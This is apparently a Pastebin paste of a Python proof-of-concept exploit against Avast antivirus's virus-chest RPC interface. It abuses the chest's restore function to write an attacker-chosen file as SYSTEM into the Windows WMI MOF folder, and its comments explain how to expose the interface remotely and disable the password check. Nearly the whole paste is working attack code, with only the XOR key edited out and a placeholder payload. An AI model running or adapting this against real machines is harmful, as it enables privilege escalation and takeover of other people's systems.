Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. import sys
  2. import struct
  3. import array
  4. import time
  5. import base64
  6. try:
  7.     from impacket import uuid
  8.     from impacket.dcerpc import transport, dcerpc
  9. except ImportError:
  10.     print('Please download and install the latest version of Impacket (http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket)')
  11.     sys.exit(0)
  12.  
  13. """
  14. On the free version, this RPC interface is ncalrpc by default.
  15. It can be configured to be remote (ncacn_ip_tcp) in the Endpoint Protection version, or by tweaking the INI files.
  16.  
  17. To activate the remote RPC chest on the Free version:
  18. - start notepad.exe as Administrator
  19. - under [Common], set Edition to 6,7,8 or 9 in C:\Program Files\AVAST Software\Avast\setup\setup.ini (changes version to Endpoint Protection)
  20. - under [Chest], set RemoteAccess to 1, CheckPassword to 0 in C:\ProgramData\AVAST Software\Avast\avast5.ini
  21.  (alternatively, set a password and use it in the code below)
  22. - restart
  23. """
  24.  
  25. def ndr_wstring(s):
  26.     if len(s)==0 or s[-1]!='\0':
  27.         s+='\0'
  28.     r=struct.pack('<III',len(s),0,len(s))
  29.     r+=s.encode('utf-16le')
  30.     if len(r)&3!=0:
  31.         r+='\0'*(4-(len(r)&3))
  32.     return r
  33.  
  34. XOR_KEY=array.array('B',[<edited>])
  35.  
  36. def simple_cypher(data):
  37.     decrypted=array.array('B',data)
  38.     encrypted=array.array('B',[0]*len(decrypted))
  39.     j=0
  40.     for i in range(len(decrypted)):
  41.         if j>=len(XOR_KEY):
  42.             j=0 #not sure it's even faster than i%len(XOR_KEY)
  43.         encrypted[i]=decrypted[i]^XOR_KEY[j]
  44.         j+=1
  45.     return encrypted.tostring()
  46.  
  47. class AvastChestRpc:
  48.     def __init__(self,host,port=16108): #default port
  49.         trans=transport.DCERPCTransportFactory('ncacn_ip_tcp:%s'%(host))
  50.         trans.set_dport(port)
  51.         self.dce=trans.get_dce_rpc()
  52.         self.password=''
  53.  
  54.     def connect(self):
  55.         self.dce.connect()
  56.         self.dce.bind(uuid.uuidtup_to_bin(('c6c94c23-538f-4ac5-b34a-00e76ae7c67a','1.0')))
  57.  
  58.     def addfile(self,folder,filename,data):
  59.         """adds a file to the chest"""
  60.         properties={'OrigFileName':filename,
  61.                     'OrigFolder':folder,
  62.                     'Comment':'',
  63.                     'Category':'System',
  64.                     'FileSize':'%d'%(len(data)),
  65.                     'FileTime':'%d'%(int(time.time())),
  66.                     'TransferTime':'%d'%(int(time.time()))}
  67.         chest_data='-chest- '+simple_cypher(data)
  68.         request=''
  69.         request+=struct.pack('<I',len(chest_data))
  70.         request+=chest_data
  71.         if len(chest_data)&3!=0:
  72.             request+='\0'*(4-(len(chest_data)&3))
  73.         request+=struct.pack('<I',len(chest_data))
  74.         request+=struct.pack('<I',len(properties))
  75.         for i in range(len(properties)):
  76.             request+=struct.pack('<I',0x10000+(i<<3))
  77.             request+=struct.pack('<I',0x10000+((i+1)<<3))
  78.         for p in properties:
  79.             request+=ndr_wstring(p)
  80.             request+=ndr_wstring(properties[p])
  81.         request+=struct.pack('<I',len(properties))
  82.         try:
  83.             self.dce.call(1,request)
  84.             response=self.dce.recv()
  85.         except dcerpc.Exception,e:
  86.             print(str(e))
  87.             return -1
  88.         if len(response)!=8:
  89.             return -1
  90.         id,status=struct.unpack('<II',response)
  91.         if status!=0:
  92.             return -1
  93.         return id
  94.  
  95.     def restorefile(self,id):
  96.         """restores a file as SYSTEM based on '%s\\%s'%(OrigFolder,OrigFileName)"""
  97.         request=''
  98.         request+=ndr_wstring(self.password) #'b?'+base64.b64encode(self.password)
  99.         request+=struct.pack('<I',id)
  100.         try:
  101.             self.dce.call(0xf,request)
  102.             response=self.dce.recv()
  103.         except dcerpc.Exception,e:
  104.             print(str(e))
  105.             return -1
  106.         if len(response)!=4:
  107.             return -1
  108.         status=struct.unpack('<I',response)[0]
  109.         return status
  110.  
  111.     def delfile(self,ids):
  112.         """deletes files from the chest"""
  113.         request=''
  114.         request+=struct.pack('<I',len(ids))
  115.         for id in ids:
  116.             request+=struct.pack('<I',id)
  117.         request+=struct.pack('<I',len(ids))
  118.         try:
  119.             self.dce.call(2,request)
  120.             response=self.dce.recv()
  121.         except dcerpc.Exception,e:
  122.             print(str(e))
  123.             return -1
  124.         if len(response)!=4:
  125.             return -1
  126.         status=struct.unpack('<I',response)[0]
  127.         return status
  128.  
  129.     def disconnect(self):
  130.         self.dce.disconnect()
  131.  
  132. def main(args):
  133.     chest=AvastChestRpc('192.168.233.131')
  134.     #chest.password = 'password' #set a password if needed!
  135.     chest.connect()
  136.     id=chest.addfile('C:\\Windows\\System32\\wbem\\MOF','some.mof','A'*0x100)
  137.     if id!=-1:
  138.         print('File successfully added, with Id 0x%08x'%(id))
  139.         chest.restorefile(id)
  140.         chest.delfile([id])
  141.     else:
  142.         print('File could not be added')
  143.     chest.disconnect()
  144.  
  145. if __name__ == "__main__":
  146.     sys.exit(main(sys.argv[1:]))